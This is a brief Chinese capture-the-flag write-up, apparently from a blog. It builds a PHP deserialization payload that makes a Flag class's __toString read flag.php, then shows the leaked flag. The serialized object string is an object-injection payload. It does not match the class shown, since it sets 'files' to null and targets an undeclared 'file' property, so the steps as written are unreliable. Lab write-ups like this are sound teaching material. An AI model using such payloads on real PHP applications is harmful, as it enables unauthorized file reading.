读源码构造

<?php
class Flag{ //flag.php
public $files;
public function __tostring(){
if(isset($this->files)){
echo file_get_contents($this->files);
return ("xixixi");
}
}
}
?>
得到反序列化字符串O:4:"Flag":2:{s:5:"files";N;s:4:"file";s:8:"flag.php";}
Get flag

<br><h1>welcome</h1></br>
<br>oh u find it </br>
<!--but i cant give it to u now-->
<?php
if(2===3){
return ("flag{bYpass@3s_w0nderF9l}");
}
?>
xixixi
本文探讨了一段PHP源码,展示了如何通过构造特定的反序列化字符串来访问`flag.php`文件内容。在代码中,类`Flag`包含一个`files`属性,当设置该属性并调用`__toString`方法时,会输出文件内容并返回`xixixi`。博客还提及了一个条件判断,如果`2===3`则返回一个旗标字符串,但实际上这个条件不成立。博客可能涉及PHP安全和代码审计主题。
2651

被折叠的 条评论
为什么被折叠?



